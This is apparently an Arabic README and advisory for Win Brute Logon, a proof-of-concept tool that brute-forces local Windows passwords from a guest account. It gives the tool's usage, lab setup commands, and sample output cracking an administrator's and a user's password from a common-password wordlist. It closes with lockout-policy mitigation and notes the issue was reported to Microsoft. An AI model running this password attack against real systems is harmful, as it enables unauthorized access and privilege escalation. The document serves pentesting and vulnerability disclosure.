إشعار 1: نحن متحمسون للإعلان أنه تم نقل أداةنا الحالية إلى إصدار PowerShell. هذا يعني أنه يمكن للمستخدمين الآن الوصول إلى الأداة واستخدامها مباشرة من سطر أوامر PowerShell ، مما يجعلها أكثر ملاءمة وفعالية للاستخدام. نعتقد أن هذا الإصدار الجديد سيفيد مستخدمينا بشكل كبير ويعزز تجربتهم مع الأداة. شكرًا لك على دعمك المستمر ونأمل أن تستمتع بإصدار PowerShell الجديد: https://github.com/darkcodersc/power-brute-logon
إشعار 2: لقد تعلمنا مؤخرًا أن Microsoft قد مكنت سياسة تأمين الحساب افتراضيًا في الإصدارات الحديثة والمحدثة من Windows. تساعد هذه السياسة على تأمين النظام عن طريق قفل حساب بعد عدد معين من محاولات تسجيل الدخول الفاشلة. على الرغم من أن هذا مقياس أمان مفيد ، إلا أنه يجعل إثبات المفهوم (POC) غير فعال في هذه الأنظمة.
تاريخ الإصدار: 2020-05-14
الهدف: Windows XP إلى أحدث إصدار من Windows 10 (1909)
موقع الضعف: LogonUserA ، LogonUserW ، CreateProcessWithLogonA ، CreateProcessWithLogonW
WinBruteLogon.exe -u <username> -w <wordlist_file>
type <wordlist_file> | WinBruteLogon.exe -u <username> -
تم تصميم Win Brute Logon لمحاكاة هجوم قوى وحشي على حساب Microsoft من خلال تخمين أعداد كبيرة من مجموعات كلمة المرور في فترة زمنية قصيرة. يتيح هذا لـ Pentesters اختبار الموقف الأمني لأنظمتهم وتقييم دفاعاتهم ضد هجمات القوة الغاشمة. تستغل الأداة عدم وجود آلية قفل الحساب ، وهي نقطة ضعف شائعة في العديد من الأنظمة (قبل أن يتم تمكين قفل الحساب افتراضيًا على نظام التشغيل Windows 11). من خلال محاولة تخمين كلمة مرور الحساب ، يمكن أن تساعد الأداة Pentesters في تحديد ومعالجة نقاط الضعف في تدابيرهم الأمنية. يجب استخدامه بمسؤولية وداخل حدود القانون.
لهذا العرض التوضيحي ، سنقوم بإعداد نسخة جديدة من Windows 10 على جهاز افتراضي أو فعلي. بمجرد إعداد الجهاز ، قم بتسجيل الدخول كمسؤول. بعد ذلك ، قم بإنشاء حسابين محليين مختلفين: حساب مسؤول واحد وحساب مستخدم عادي واحد. يرجى ملاحظة أنه على الرغم من أننا سوف نستخدم حساب الضيف للعروض التوضيحية ، فإن إثبات المفهوم (POC) لا يقتصر على حساب الضيف. يمكن استخدامه من أي حساب أو مجموعة ، بما في ذلك الضيف والمستخدم العادي ومستخدم المسؤول.
net user darkcodersc /add
net user darkcodersc trousers (سراويل سراويل هي كلمة المرور)
net localgroup administrators darkcodersc /add
net user HackMe /add
net user HackMe ozlq6qwm (OZLQ6QWM هي كلمة المرور)
net user GuestUser /add
net localgroup users GuestUser /delete
net localgroup guests GuestUser /add
في حالتي ، هناك trousers و ozlq6qwm في SecList: https://github.com/danielmiessler/seclists/blob/master/passwords/common-credentials/10k-most-common.txt
لبدء العرض التوضيحي ، قم بتسجيل الخروج من حساب المسؤول أو إعادة تشغيل الجهاز وقم بتسجيل الدخول إلى حساب الضيف. ثم ، ضع POC قابلة للتنفيذ في موقع يمكنك الوصول إليه كمستخدم ضيف.
الاستخدام: WinBruteLogon.exe -v -u <username> -w <wordlist_file>
-v اختياري ، فإنه تصميم وضع المطالبة.
بشكل افتراضي ، اسم المجال هو القيمة المحددة بواسطة %USERDOMAIN% env var. يمكنك تحديد اسم مخصص مع الخيار -d
darkcodersc (المسؤول) موجه (ضيف)> WinBruteLogon.exe -v -u darkcodersc -w 10k-most-common.txt
انتظر بضع ثوان لرؤية النتيجة التالية:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=2260, handle=364
[INFO] New "TWorker" Thread created with id=3712, handle=532
[DONE] Done.
[ OK ] Password for username=[darkcodersc] and domain=[DESKTOP-0885FP1] found = [trousers]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=2260, handle=364) Thread successfully terminated.
[INFO] "TWorkers"(id=3712, handle=532) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
HackMe (مستخدم منتظم) موجه (ضيف)> WinBruteLogon.exe -v -u HackMe -w 10k-most-common.txt
انتظر بضع ثوان لرؤية النتيجة التالية:
[ .. ] Load 10k-most-common.txt file in memory...
[DONE] 10002 passwords successfully loaded.
[INFO] 2 cores are available
[ .. ] Create 2 threads...
[INFO] New "TWorker" Thread created with id=5748, handle=336
[INFO] New "TWorker" Thread created with id=4948, handle=140
[DONE] Done.
[ OK ] Password for username=[HackMe] and domain=[DESKTOP-0885FP1] found = [ozlq6qwm]
[ .. ] Finalize and close worker threads...
[INFO] "TWorkers"(id=5748, handle=336) Thread successfully terminated.
[INFO] "TWorkers"(id=4948, handle=140) Thread successfully terminated.
[DONE] Done.
[INFO] Ellapsed Time : 00:00:06
"في سيناريو في العالم الحقيقي ، إذا حصل المهاجم على إمكانية الوصول إلى حساب مستخدم منخفض المحرز ، فقد يكونون قادرين على كسر كلمة مرور مستخدم أكثر امتيازًا وتصعيد امتيازاته. للتخفيف من هذا الخطر ، هناك بضع خطوات يمكن اتخاذها:
لتنفيذ سياسة تأمين الأمان (والتي لا يتم تمكينها بشكل افتراضي) ، اتبع هذه الخطوات:
يرجى ملاحظة أن سياسة القفل لا تنطبق على حساب المسؤول. في هذه الحالة ، تتمثل أفضل حماية لحساب المسؤول (إذا تم تمكينها) في إعداد كلمة مرور معقدة للغاية.
تم إرسال تقرير يشرح هذا الضعف إلى فريق أمان Microsoft. ينبغي عليهم التفكير في تمكين سياسة تأمين الحساب بشكل افتراضي. "
(تحديث 2022): تم تمكين قفل الحساب أخيرًا افتراضيًا.